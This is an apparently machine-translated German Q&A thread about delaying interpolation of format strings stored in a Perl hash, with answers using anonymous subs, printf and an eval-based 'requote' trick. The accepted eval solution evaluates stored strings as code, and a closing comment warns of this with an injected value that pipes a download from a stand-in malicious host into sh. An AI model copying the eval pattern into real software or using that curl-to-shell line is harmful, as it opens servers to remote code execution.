2016-05-06 23 views
0

Ich arbeite an einem Perl-CGI-Skript. Es sollte eine Art Datenbank verarbeiten, in der Drucklayouts und die zu druckenden Werte in einem Hash gespeichert werden. Hier kommt mein Code-Schnipsel:Interpolation von Hash-Format-String

my $va=1; 
    my $vb=2; 
    my $fa=""; 
    my $fb=""; 
    my %h=('format' => { 'a' => "This is the value of variable \$va: $va", 
          'b' => "This is the value of variable \$vb: $vb" 
         }, 
      'values' => { 'a' => "value A", 
          'b' => "value B" 
         } 
     ); 
    $fa=$h{'format'}->{'a'}; 
    $fb=$h{'format'}->{'b'}; 
    $va=$h{'values'}->{'a'}; 
    $vb=$h{'values'}->{'b'}; 
    print "$fa<br/>\n"; 
    print "$fb<br/>\n"; 
    $va=3; 
    $vb=4; 
    print "$fa<br/>\n"; 
    print "$fb<br/>\n"; 

Bis jetzt habe ich nur diese (falsche) Ausdruck:

This is the value of variable $va: 1 
    This is the value of variable $vb: 2 
    This is the value of variable $va: 1 
    This is the value of variable $vb: 2 

Was erwarte ich tun ist:

This is the value of variable $va: value A 
    This is the value of variable $vb: value B 
    This is the value of variable $va: 3 
    This is the value of variable $vb: 4 

Was könnte der Grund sein, dass Die Interpolation der im Hash gespeicherten Format-Strings funktioniert nicht?

+4

Die Interpolation passiert, wenn der Hash initialisiert wird ('my% h ='), nicht wenn er aufgerufen wird, also '$ va' ist immer noch 1 und' $ vb' ist 2. Dies scheint ein [XY Problem] (http://meta.stackexchange.com/q/66377/234299), aber ... kannst du bitte mehr über das, was du versuchst, erklären? – ThisSuitIsBlackNot

+0

@ThisSuitIsBlackNot Ja Sie haben Recht. Ich habe jetzt die Doppelquoten von ... 'a' => "..." zu 'a' => '...' geändert. Der Hash ist nun nicht interpolierbar und wird so ohne Interpolation initialisiert. Aber der Ausdruck gibt: Dies ist der Wert der Variablen \ $ va: $ va Dies ist der Wert der Variable \ $ vb: $ vb Auch nicht interpoliert - warum? –

+0

Auf den ersten Blick denke ich "eval" ist ein Schlüsselwort hier ... – PerlDuck

Antwort

2

die Interpolation zu verzögern, ist der einfachste Weg, anonym subs zu verwenden:

my $va=1; 
    my $vb=2; 
    my $fa=""; 
    my $fb=""; 
    my %h=('format' => { 'a' => sub { "This is the value of variable \$va: $va" }, 
          'b' => sub { "This is the value of variable \$vb: $vb" }, 
         }, 
      'values' => { 'a' => "value A", 
          'b' => "value B", 
         } 
     ); 
    $fa=$h{'format'}->{'a'}; 
    $fb=$h{'format'}->{'b'}; 
    $va=$h{'values'}->{'a'}; 
    $vb=$h{'values'}->{'b'}; 
    print $fa->() . "<br/>\n"; 
    print $fb->() . "<br/>\n"; 
    $va=3; 
    $vb=4; 
    print $fa->() . "<br/>\n"; 
    print $fb->() . "<br/>\n"; 

Das heißt, ein Template-System verwenden Sie stattdessen.

+0

Ich habe selbst eine Lösung gefunden, aber das ist ein wirklich gut aussehender. Ich habe diesen Fehler: Kann nicht verwenden String ("Dies ist der Wert der Variable \ $" ...) als Subroutine ref während "strict refs" in Verwendung .. –

+0

dann haben Sie vergessen, die 'sub {hinzufügen ...} 'um die Strings – ysth

1

Da @ThisSuitIsBlackNot bereits notiert ist, könnte dies ein XY-Problem sein. Vielleicht [s]printf Ihnen helfen:

my %h=('format' => { 'a' => "This is the value of variable \$va: %s", 
         'b' => "This is the value of variable \$vb: %s" 
        }, 
     'values' => { 'a' => "value A", 
         'b' => "value B" 
        } 
    ); 

printf($h{format}{a}, $h{values}{a}); 

Dies entspricht

printf("This is the value of variable \$va: %s", 'value A'); 

Welche gibt:

This is the value of variable $va: value A 
+0

' printf' soll templatieren, was 'vi' für integrierte Entwicklungsumgebungen ist! – mob

+0

@mob :-P Sie haben Recht, es ist nicht besonders _state der [absichtlich leer gelassen] _ aber das könnte das OP-Problem gelöst haben. Ich bin jedoch froh, dass er eine weitaus bessere Lösung gefunden hat. – PerlDuck

0

ich eine Lösung bei http://www.perlmonks.org/?node_id=408346

die Saiten haben festgestellt ' requoted ':

sub quote { qq!"$_[0]"! } # Use something more sophisticated which escapes properly. 

    my $va=1; 
    my $vb=2; 
    my $fa=""; 
    my $fb=""; 

    my %h=('format' => { 'a' => 'This is the value of variable \$va: ${va}', 
          'b' => 'This is the value of variable \$vb: ${vb}' 
         }, 
      'values' => { 'a' => 'value A', 
          'b' => 'value B' 
         } 
     ); 
    $fa=$h{'format'}->{'a'}; 
    $fb=$h{'format'}->{'b'}; 
    $va=$h{'values'}->{'a'}; 
    $vb=$h{'values'}->{'b'}; 
    print eval(quote($fa))."<br/>\n"; 
    print eval(quote($fb))."<br/>\n"; 
    $va=3; 
    $vb=4; 
    print eval(quote($fa))."<br/>\n"; 
    print eval(quote($fb))."<br/>\n"; 

Nun ist der Ausdruck wie gewünscht:

This is the value of variable $va: value A 
    This is the value of variable $vb: value B 
    This is the value of variable $va: 3 
    This is the value of variable $vb: 4 

prost.

+1

Schön.Ich war also nicht ganz falsch mit dieser 'eval' Vermutung ;-) Danke, dass du deine Lösung gezeigt hast, damit andere Leute davon profitieren können. – PerlDuck

+3

Verwenden Sie ein echtes Templating-System, bevor jemand '$ h {" values ​​"} {" a "}' auf "" setzt; system ('curl http://maliciouscode.com/script19.php | sh'); "Don ' t Sorge. Alles ist in Ordnung – mob